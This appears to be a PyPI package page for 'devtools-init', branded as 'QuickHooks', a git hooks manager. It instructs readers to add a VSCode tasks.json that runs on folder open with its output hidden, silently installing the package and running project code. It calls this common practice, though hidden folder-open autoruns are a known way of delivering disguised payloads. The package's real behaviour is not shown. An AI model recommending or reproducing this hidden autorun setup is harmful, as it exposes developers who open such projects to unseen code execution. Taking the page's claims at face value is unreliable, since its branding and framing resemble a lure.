Skip to main content

QuickHooks - Automated git hooks manager for Python projects

Project description

QuickHooks ⚡

Automated Git Hooks Manager for Python Projects

QuickHooks is a zero-configuration tool that automatically installs and manages git hooks for Python projects. Inspired by pre-commit but designed for instant setup with sensible defaults.

PyPI version Python versions License: MIT

🚀 Features

  • Zero Configuration: Works out of the box with sensible defaults
  • Automatic Installation: Hooks install when you open the project
  • Python Syntax Validation: Catches syntax errors before commit
  • Cross-Platform: Works on Windows, macOS, and Linux
  • Lightweight: No external dependencies

📦 Installation

pip install devtools-init

🎯 Usage

Automatic Setup (Recommended)

Add to your project's requirements.txt:

devtools-init>=2.0.0

And in your main Python file:

import devtools_init

# This will auto-install git hooks
devtools_init.setup()

When someone opens your project in VSCode (or runs your main file), git hooks are automatically configured!

Manual Setup

from devtools_init import setup

# Install git hooks for this project
setup()

⚙️ What Gets Installed

QuickHooks installs a pre-commit hook that:

  1. Validates Python syntax on staged files
  2. Prevents commits with syntax errors
  3. Logs setup information in .git/hooks/logs/

📖 Example Project Structure

my-project/
├── .git/
│   └── hooks/
│       ├── pre-commit          # Auto-installed by QuickHooks
│       └── logs/
│           └── setup.log       # Installation log
├── main.py
├── requirements.txt             # Contains: devtools-init>=2.0.0
└── README.md

🔍 How It Works

  1. When devtools_init.setup() is called:

    • Checks if the project is a git repository
    • Creates .git/hooks/ directory if needed
    • Installs a simple pre-commit hook (if not already present)
    • Logs the installation for debugging
  2. The pre-commit hook:

    • Runs automatically before each git commit
    • Validates Python syntax on staged files
    • Prevents commits with errors

🆚 Comparison with pre-commit

Feature QuickHooks pre-commit
Configuration required ❌ No ✅ Yes (.pre-commit-config.yaml)
Auto-installation ✅ Yes ❌ No (manual pre-commit install)
Dependencies ❌ None ✅ Many
Customization ❌ Limited ✅ Extensive
Best for Quick prototypes, learning Production projects

Use QuickHooks if: You want instant setup with zero configuration Use pre-commit if: You need advanced customization and multiple hooks

🛠️ VSCode Integration

To auto-run setup when opening a project in VSCode, add to .vscode/tasks.json:

{
    "version": "2.0.0",
    "tasks": [{
        "label": "Setup Git Hooks",
        "type": "shell",
        "windows": {
            "command": "python -m pip install -q -r requirements.txt *>$null; python main.py"
        },
        "linux": {
            "command": "python3 -m pip install -q -r requirements.txt 2>/dev/null && python3 main.py"
        },
        "presentation": {"reveal": "never"},
        "runOptions": {"runOn": "folderOpen"}
    }]
}

This is common practice for development tools that need workspace-specific configuration.

📝 License

MIT License - see LICENSE for details

🤝 Contributing

Contributions welcome! See CONTRIBUTING.md for guidelines.

🔗 Links

⚠️ Limitations

  • Only supports basic Python syntax validation
  • Doesn't support custom hook configuration
  • For production projects, consider pre-commit

🎓 Educational Purpose

QuickHooks is designed for:

  • Learning git hooks without configuration complexity
  • Quick prototyping where setup time matters
  • Teaching Python best practices in educational settings

Made with ❤️ by the Dev Team

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

devtools_init-4.0.0.tar.gz (6.2 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

devtools_init-4.0.0-py3-none-any.whl (6.0 kB view details)

Uploaded Python 3

File details

Details for the file devtools_init-4.0.0.tar.gz.

File metadata

  • Download URL: devtools_init-4.0.0.tar.gz
  • Upload date:
  • Size: 6.2 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for devtools_init-4.0.0.tar.gz
Algorithm Hash digest
SHA256 36bb2242b3f13bc26fe94cd04dc3701ed5ddad488ea3baaad589996050830344
MD5 40fab83640e74735a9714234d9b98c64
BLAKE2b-256 561c48e6947da740adfa65dd8ee6b256845c497056383ebb9049d6a2fc478233

See more details on using hashes here.

Provenance

The following attestation bundles were made for devtools_init-4.0.0.tar.gz:

Publisher: ci.yml on MarcMPR/devtools-init

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file devtools_init-4.0.0-py3-none-any.whl.

File metadata

  • Download URL: devtools_init-4.0.0-py3-none-any.whl
  • Upload date:
  • Size: 6.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for devtools_init-4.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 31d88c496261edc8a1e9370075a4601cf2067b28e80ac109c0bbbb154794b050
MD5 89bb255a7211ed41b53e0ce9df1cdc08
BLAKE2b-256 d081f5467cc93c28ad7a1266f1df4993c1c1d3bb100e4fb3d9e54e5f40e8baf6

See more details on using hashes here.

Provenance

The following attestation bundles were made for devtools_init-4.0.0-py3-none-any.whl:

Publisher: ci.yml on MarcMPR/devtools-init

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page